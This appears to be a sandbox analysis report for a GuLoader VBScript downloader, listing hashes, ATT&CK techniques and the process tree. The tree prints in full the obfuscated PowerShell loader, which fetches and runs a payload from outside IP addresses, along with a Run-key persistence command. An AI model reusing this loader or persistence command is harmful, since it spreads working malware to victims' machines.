guloader | 9b96d8465b9d2e41960b1e954c9ecd4e8e3ac5ca97badb569b6ea3ddb5cf31ed

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
26-06-2024 03:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9362977cfd09e8e32bd857225fd08aeae9f8dd75a241bc63e454c762c5a480ce.vbs
Size

187KB
MD5

c94c793ce09afaf08a2a3f90f91d447e
SHA1

1cc82e99bd159f2360ae3e56ede43a14e81073a2
SHA256

9362977cfd09e8e32bd857225fd08aeae9f8dd75a241bc63e454c762c5a480ce
SHA512

d89fdc8efceacc857336b23896487259d33a9539b0f79077482a97017c3413da13b4a795f1bedbdd118b6ed089b839beae7d122c95884eb5b02b24585168b0d3
SSDEEP

3072:vmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZZ:v08GxbKja3+DCbKCvBB/WnHXC/sLJFJG

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

4 1912 WScript.exe
16 2916 powershell.exe
32 2916 powershell.exe
46 2916 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation WScript.exe

flow	pid	process
4	1912	WScript.exe
16	2916	powershell.exe
32	2916	powershell.exe
46	2916	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startskud = "%Pataca% -w 1 $Kommunikationshastigheden=(Get-ItemProperty -Path 'HKCU:\\Lettelsen\\').Fearable;%Pataca% ($Kommunikationshastigheden)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

1084 wab.exe
1084 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

4388 powershell.exe
1084 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4388 set thread context of 1084 4388 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

432 reg.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

2916 powershell.exe
2916 powershell.exe
4388 powershell.exe
4388 powershell.exe
4388 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

4388 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2916 powershell.exe
Token: SeDebugPrivilege 4388 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

1084 wab.exe

pid	process
1084	wab.exe
1084	wab.exe

pid	process
4388	powershell.exe
1084	wab.exe

description	pid	process	target process
PID 4388 set thread context of 1084	4388	powershell.exe	wab.exe

pid	process
432	reg.exe

pid	process
2916	powershell.exe
2916	powershell.exe
4388	powershell.exe
4388	powershell.exe
4388	powershell.exe

pid	process
4388	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe

pid	process
1084	wab.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 1912 wrote to memory of 2916	1912	WScript.exe	powershell.exe
PID 1912 wrote to memory of 2916	1912	WScript.exe	powershell.exe
PID 2916 wrote to memory of 1852	2916	powershell.exe	cmd.exe
PID 2916 wrote to memory of 1852	2916	powershell.exe	cmd.exe
PID 2916 wrote to memory of 4388	2916	powershell.exe	powershell.exe
PID 2916 wrote to memory of 4388	2916	powershell.exe	powershell.exe
PID 2916 wrote to memory of 4388	2916	powershell.exe	powershell.exe
PID 4388 wrote to memory of 2232	4388	powershell.exe	cmd.exe
PID 4388 wrote to memory of 2232	4388	powershell.exe	cmd.exe
PID 4388 wrote to memory of 2232	4388	powershell.exe	cmd.exe
PID 4388 wrote to memory of 1084	4388	powershell.exe	wab.exe
PID 4388 wrote to memory of 1084	4388	powershell.exe	wab.exe
PID 4388 wrote to memory of 1084	4388	powershell.exe	wab.exe
PID 4388 wrote to memory of 1084	4388	powershell.exe	wab.exe
PID 4388 wrote to memory of 1084	4388	powershell.exe	wab.exe
PID 1084 wrote to memory of 2728	1084	wab.exe	cmd.exe
PID 1084 wrote to memory of 2728	1084	wab.exe	cmd.exe
PID 1084 wrote to memory of 2728	1084	wab.exe	cmd.exe
PID 2728 wrote to memory of 432	2728	cmd.exe	reg.exe
PID 2728 wrote to memory of 432	2728	cmd.exe	reg.exe
PID 2728 wrote to memory of 432	2728	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9362977cfd09e8e32bd857225fd08aeae9f8dd75a241bc63e454c762c5a480ce.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Baglygtes Apositia147 stolthed Nuculania Bantamvgtsbokserne Tjenesteydelses Syringomyelic Tua Intergenerative Basisuddannelses Togae Nomotheism Suffixer Skanderedes Purportedly Ampulliform Seksuelt174 Infraclavicle Rumstation Cesaro Blyantstregernes40 Monoton Bogbinderiers Bragedes Baglygtes Apositia147 stolthed Nuculania Bantamvgtsbokserne Tjenesteydelses Syringomyelic Tua Intergenerative Basisuddannelses Togae Nomotheism Suffixer Skanderedes Purportedly Ampulliform Seksuelt174 Infraclavicle Rumstation Cesaro Blyantstregernes40 Monoton Bogbinderiers Bragedes';$Ansgningerne = 1;Function Kompromitterendes($Skelligartede){$Dekreters=$Skelligartede.Length-$Ansgningerne;$Sandpits='SUBSTRIN';$Sandpits+='G';For( $Arbejdsmssig=1;$Arbejdsmssig -lt $Dekreters;$Arbejdsmssig+=2){$Baglygtes+=$Skelligartede.$Sandpits.Invoke( $Arbejdsmssig, $Ansgningerne);}$Baglygtes;}function Hekseskud($Peliosis){ & ($gennemarbejdes) ($Peliosis);}$Ungamboled=Kompromitterendes 'IMWo zDi lVlPad/F5 .N0N N(jWfiFnGdAoPw,sI N.TO 1A0,. 0 ; W iUn.6.4B;l xB6F4B; ,r v.:r1F2D1...0D)F .Gwe c kDoM/S2 0 1 0E0L1,0 1C HF i rBe.f o x /,1T2,1D. 0R ';$Kardan=Kompromitterendes 'SU s.e r -CA g eFnLt. ';$Bantamvgtsbokserne=Kompromitterendes '.h tHt pa: /C/B1G9 4l..5,9s. 3 1 .F1,3D7S/Sk y sA.DsVnFpM> hLtFtTpT:V/S/E9H4 . 1O5 6U. 8..,8.8./Uk y.s .Ss.nBpI ';$Vader=Kompromitterendes 'B> ';$gennemarbejdes=Kompromitterendes ' i.eBx ';$Echinococcosis='Tua';$Kloakerende = Kompromitterendes 'SeBc h oU ,% aKpKp dTa t.a % \,TEr.o.sUfUrVi h e.d.eLnI. UTnGdS S&,& IeAcChBot t ';Hekseskud (Kompromitterendes '.$CgWlToPbMaAl :EF o,rem.i cAa,rOoUiCdM=.(Ic m d / cN S$GK l o aRkee rUe.nmd.eT). ');Hekseskud (Kompromitterendes 'H$ g,lVo bPa lV:TN u cAu lCaFnPi,a =S$ B a.nNtMa mUv g t s.bToKk,s e,r,nLeS.Rs p,lSiPt (t$KVSaUd.e r )N ');Hekseskud (Kompromitterendes ' [ NRe tO. Sde r v iTcSe P,oFiUnUtSMKa,nkaTg,e r.] :F: SSe,c.u,rAi tUyEP r.o tRoocDo l =P U[DN.e.t . SSe.c uPrDi t y PVrSo tBo c o lCT ybp,eS]A:E:.TtlFs 1H2W ');$Bantamvgtsbokserne=$Nuculania[0];$Contempts= (Kompromitterendes ' $ g lBoHb a.l,:.SSwKo.r,dDfUiIs h eLs = N e,w - O bGj e c,tO SS.ySsBt e.mS.BNUe.t . W e bIC l,i,e.n t');$Contempts+=$Formicaroid[1];Hekseskud ($Contempts);Hekseskud (Kompromitterendes ' $cS wsomrBd f i,s.h,e,sL.AHae aFdUeAr s [.$IKFa rSd,a.n,]A=S$SUDnEgVa m.bAo.lGeOd ');$Reddendum=Kompromitterendes ' $FSZw.oWrId,fDiKs hKe s . D o w nVl.oOaAdHFTi l,eT(.$ BRa n tTaMmBv gBtVsCb oMkRsSeUr nCeN,A$vM o,nfo tFo nG) ';$Monoton=$Formicaroid[0];Hekseskud (Kompromitterendes 'P$,g l oAbNa,l :.STe lStSe r =S(ST.e s,tB- PEaHtphF ,$ MBo.n o,tOo nS) ');while (!$Selter) {Hekseskud (Kompromitterendes 'h$CgDlao,bAa.l :HH eApJt a.c.oFlSiLc.=r$ t rLuEe ') ;Hekseskud $Reddendum;Hekseskud (Kompromitterendes '.SDtSa.r t -US l,eLe pg C4R ');Hekseskud (Kompromitterendes '.$Ag,l,oCb a lM:FSEeHl t.eLrI=S(PT eFsRtB- PRa.t hL $AMRo,nMoCtEo.n )u ') ;Hekseskud (Kompromitterendes ' $ g.l oAb,aSl,:,s tAo lOt h e d,=M$ gnl,oPb awlS:WA,pRo,s.iAtHiTa.1T4k7e+ +,% $TN u cBuOl aMnBiGa . cGoDu n t, ') ;$Bantamvgtsbokserne=$Nuculania[$stolthed];}$Impulsing109=335650;$oppede=26343;Hekseskud (Kompromitterendes 'T$SgFlIoLbia l :PIPnPt eFr gIe,n e rIaNt.iDvBeH T=T FG eAth-.C o,n t e.n,tb I$.M.oAnEo,tSo nS ');Hekseskud (Kompromitterendes 'C$ gDl oRbYaBlA:CACnUh n,gUeNr eAs. A=C C[PSOy,s t e m .DC o.navBeErRtB]P:H: FDr,o mRB,aBsGeD6N4 S t,rSiCn g (E$.I nEt.e,rDg,e nUeMrsaTtPiavYe )C ');Hekseskud (Kompromitterendes ' $BgKl oLb.aUlS:AN,orm ost hSe.iTsPm S=R W[LS y.sItNe mK. TAe x,tf.LESnVcAo dCiBn.g ] : :SASS.CTI IB..GAeWtISMt r i,n g.(,$BAAn.hSn gTeSrOe s )U ');Hekseskud (Kompromitterendes ',$Ig laoSbraSlD:CC oMlToGrUipfNiBcs6D= $SN,oKm o.t hPeKi sUmO. s.ucb,s tIrsiAngg (B$.ITm.pSu,l,sNi,noge1 0M9,,B$UoMpSpDeAd e ) ');Hekseskud $Colorific6;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2916

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trosfriheden.Und && echo t"
3⤵
PID:1852

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Baglygtes Apositia147 stolthed Nuculania Bantamvgtsbokserne Tjenesteydelses Syringomyelic Tua Intergenerative Basisuddannelses Togae Nomotheism Suffixer Skanderedes Purportedly Ampulliform Seksuelt174 Infraclavicle Rumstation Cesaro Blyantstregernes40 Monoton Bogbinderiers Bragedes Baglygtes Apositia147 stolthed Nuculania Bantamvgtsbokserne Tjenesteydelses Syringomyelic Tua Intergenerative Basisuddannelses Togae Nomotheism Suffixer Skanderedes Purportedly Ampulliform Seksuelt174 Infraclavicle Rumstation Cesaro Blyantstregernes40 Monoton Bogbinderiers Bragedes';$Ansgningerne = 1;Function Kompromitterendes($Skelligartede){$Dekreters=$Skelligartede.Length-$Ansgningerne;$Sandpits='SUBSTRIN';$Sandpits+='G';For( $Arbejdsmssig=1;$Arbejdsmssig -lt $Dekreters;$Arbejdsmssig+=2){$Baglygtes+=$Skelligartede.$Sandpits.Invoke( $Arbejdsmssig, $Ansgningerne);}$Baglygtes;}function Hekseskud($Peliosis){ & ($gennemarbejdes) ($Peliosis);}$Ungamboled=Kompromitterendes 'IMWo zDi lVlPad/F5 .N0N N(jWfiFnGdAoPw,sI N.TO 1A0,. 0 ; W iUn.6.4B;l xB6F4B; ,r v.:r1F2D1...0D)F .Gwe c kDoM/S2 0 1 0E0L1,0 1C HF i rBe.f o x /,1T2,1D. 0R ';$Kardan=Kompromitterendes 'SU s.e r -CA g eFnLt. ';$Bantamvgtsbokserne=Kompromitterendes '.h tHt pa: /C/B1G9 4l..5,9s. 3 1 .F1,3D7S/Sk y sA.DsVnFpM> hLtFtTpT:V/S/E9H4 . 1O5 6U. 8..,8.8./Uk y.s .Ss.nBpI ';$Vader=Kompromitterendes 'B> ';$gennemarbejdes=Kompromitterendes ' i.eBx ';$Echinococcosis='Tua';$Kloakerende = Kompromitterendes 'SeBc h oU ,% aKpKp dTa t.a % \,TEr.o.sUfUrVi h e.d.eLnI. UTnGdS S&,& IeAcChBot t ';Hekseskud (Kompromitterendes '.$CgWlToPbMaAl :EF o,rem.i cAa,rOoUiCdM=.(Ic m d / cN S$GK l o aRkee rUe.nmd.eT). ');Hekseskud (Kompromitterendes 'H$ g,lVo bPa lV:TN u cAu lCaFnPi,a =S$ B a.nNtMa mUv g t s.bToKk,s e,r,nLeS.Rs p,lSiPt (t$KVSaUd.e r )N ');Hekseskud (Kompromitterendes ' [ NRe tO. Sde r v iTcSe P,oFiUnUtSMKa,nkaTg,e r.] :F: SSe,c.u,rAi tUyEP r.o tRoocDo l =P U[DN.e.t . SSe.c uPrDi t y PVrSo tBo c o lCT ybp,eS]A:E:.TtlFs 1H2W ');$Bantamvgtsbokserne=$Nuculania[0];$Contempts= (Kompromitterendes ' $ g lBoHb a.l,:.SSwKo.r,dDfUiIs h eLs = N e,w - O bGj e c,tO SS.ySsBt e.mS.BNUe.t . W e bIC l,i,e.n t');$Contempts+=$Formicaroid[1];Hekseskud ($Contempts);Hekseskud (Kompromitterendes ' $cS wsomrBd f i,s.h,e,sL.AHae aFdUeAr s [.$IKFa rSd,a.n,]A=S$SUDnEgVa m.bAo.lGeOd ');$Reddendum=Kompromitterendes ' $FSZw.oWrId,fDiKs hKe s . D o w nVl.oOaAdHFTi l,eT(.$ BRa n tTaMmBv gBtVsCb oMkRsSeUr nCeN,A$vM o,nfo tFo nG) ';$Monoton=$Formicaroid[0];Hekseskud (Kompromitterendes 'P$,g l oAbNa,l :.STe lStSe r =S(ST.e s,tB- PEaHtphF ,$ MBo.n o,tOo nS) ');while (!$Selter) {Hekseskud (Kompromitterendes 'h$CgDlao,bAa.l :HH eApJt a.c.oFlSiLc.=r$ t rLuEe ') ;Hekseskud $Reddendum;Hekseskud (Kompromitterendes '.SDtSa.r t -US l,eLe pg C4R ');Hekseskud (Kompromitterendes '.$Ag,l,oCb a lM:FSEeHl t.eLrI=S(PT eFsRtB- PRa.t hL $AMRo,nMoCtEo.n )u ') ;Hekseskud (Kompromitterendes ' $ g.l oAb,aSl,:,s tAo lOt h e d,=M$ gnl,oPb awlS:WA,pRo,s.iAtHiTa.1T4k7e+ +,% $TN u cBuOl aMnBiGa . cGoDu n t, ') ;$Bantamvgtsbokserne=$Nuculania[$stolthed];}$Impulsing109=335650;$oppede=26343;Hekseskud (Kompromitterendes 'T$SgFlIoLbia l :PIPnPt eFr gIe,n e rIaNt.iDvBeH T=T FG eAth-.C o,n t e.n,tb I$.M.oAnEo,tSo nS ');Hekseskud (Kompromitterendes 'C$ gDl oRbYaBlA:CACnUh n,gUeNr eAs. A=C C[PSOy,s t e m .DC o.navBeErRtB]P:H: FDr,o mRB,aBsGeD6N4 S t,rSiCn g (E$.I nEt.e,rDg,e nUeMrsaTtPiavYe )C ');Hekseskud (Kompromitterendes ' $BgKl oLb.aUlS:AN,orm ost hSe.iTsPm S=R W[LS y.sItNe mK. TAe x,tf.LESnVcAo dCiBn.g ] : :SASS.CTI IB..GAeWtISMt r i,n g.(,$BAAn.hSn gTeSrOe s )U ');Hekseskud (Kompromitterendes ',$Ig laoSbraSlD:CC oMlToGrUipfNiBcs6D= $SN,oKm o.t hPeKi sUmO. s.ucb,s tIrsiAngg (B$.ITm.pSu,l,sNi,noge1 0M9,,B$UoMpSpDeAd e ) ');Hekseskud $Colorific6;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4388

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trosfriheden.Und && echo t"
4⤵
PID:2232

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1084

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startskud" /t REG_EXPAND_SZ /d "%Pataca% -w 1 $Kommunikationshastigheden=(Get-ItemProperty -Path 'HKCU:\Lettelsen\').Fearable;%Pataca% ($Kommunikationshastigheden)"
5⤵
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startskud" /t REG_EXPAND_SZ /d "%Pataca% -w 1 $Kommunikationshastigheden=(Get-ItemProperty -Path 'HKCU:\Lettelsen\').Fearable;%Pataca% ($Kommunikationshastigheden)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:432

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vtwmxzyf.g5d.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Trosfriheden.Und
Filesize
471KB

MD5
f7e8bfbb1f03fe955a185a2f29517fa9

SHA1
5c9bcf4a10977388f474e6448ce9d4069fc16d13

SHA256
200c981909b9bd449214126389e9e8e52dc30ee233b30d6d2f8437898f03c0e7

SHA512
06436f8b41d1e277939e0375598da56336838f7c53ba91324de9caa2b0580318000e992dfb6646b1af6e5a7cc1558245d3c5feb6bc3f24740217e3dc670f0099

Download Submit
memory/1084-48-0x0000000001F70000-0x0000000006251000-memory.dmp

Filesize
66.9MB

Download
memory/1084-47-0x0000000000D10000-0x0000000001F64000-memory.dmp

Filesize
18.3MB

Download
memory/2916-4-0x00007FFBE54D3000-0x00007FFBE54D5000-memory.dmp

Filesize
8KB

Download
memory/2916-5-0x000002B13E9A0000-0x000002B13E9C2000-memory.dmp

Filesize
136KB

Download
memory/2916-15-0x00007FFBE54D0000-0x00007FFBE5F91000-memory.dmp

Filesize
10.8MB

Download
memory/2916-16-0x00007FFBE54D0000-0x00007FFBE5F91000-memory.dmp

Filesize
10.8MB

Download
memory/2916-17-0x00007FFBE54D0000-0x00007FFBE5F91000-memory.dmp

Filesize
10.8MB

Download
memory/2916-18-0x00007FFBE54D0000-0x00007FFBE5F91000-memory.dmp

Filesize
10.8MB

Download
memory/2916-19-0x00007FFBE54D0000-0x00007FFBE5F91000-memory.dmp

Filesize
10.8MB

Download
memory/2916-51-0x00007FFBE54D0000-0x00007FFBE5F91000-memory.dmp

Filesize
10.8MB

Download
memory/4388-25-0x0000000005910000-0x0000000005976000-memory.dmp

Filesize
408KB

Download
memory/4388-42-0x0000000007240000-0x0000000007262000-memory.dmp

Filesize
136KB

Download
memory/4388-37-0x0000000005FF0000-0x000000000600E000-memory.dmp

Filesize
120KB

Download
memory/4388-38-0x0000000006030000-0x000000000607C000-memory.dmp

Filesize
304KB

Download
memory/4388-39-0x0000000007880000-0x0000000007EFA000-memory.dmp

Filesize
6.5MB

Download
memory/4388-40-0x0000000006590000-0x00000000065AA000-memory.dmp

Filesize
104KB

Download
memory/4388-41-0x00000000072B0000-0x0000000007346000-memory.dmp

Filesize
600KB

Download
memory/4388-36-0x00000000059F0000-0x0000000005D44000-memory.dmp

Filesize
3.3MB

Download
memory/4388-43-0x00000000084B0000-0x0000000008A54000-memory.dmp

Filesize
5.6MB

Download
memory/4388-26-0x0000000005980000-0x00000000059E6000-memory.dmp

Filesize
408KB

Download
memory/4388-45-0x0000000008A60000-0x000000000CD41000-memory.dmp

Filesize
66.9MB

Download
memory/4388-24-0x0000000005140000-0x0000000005162000-memory.dmp

Filesize
136KB

Download
memory/4388-23-0x0000000005270000-0x0000000005898000-memory.dmp

Filesize
6.2MB

Download
memory/4388-22-0x00000000026D0000-0x0000000002706000-memory.dmp

Filesize
216KB

Download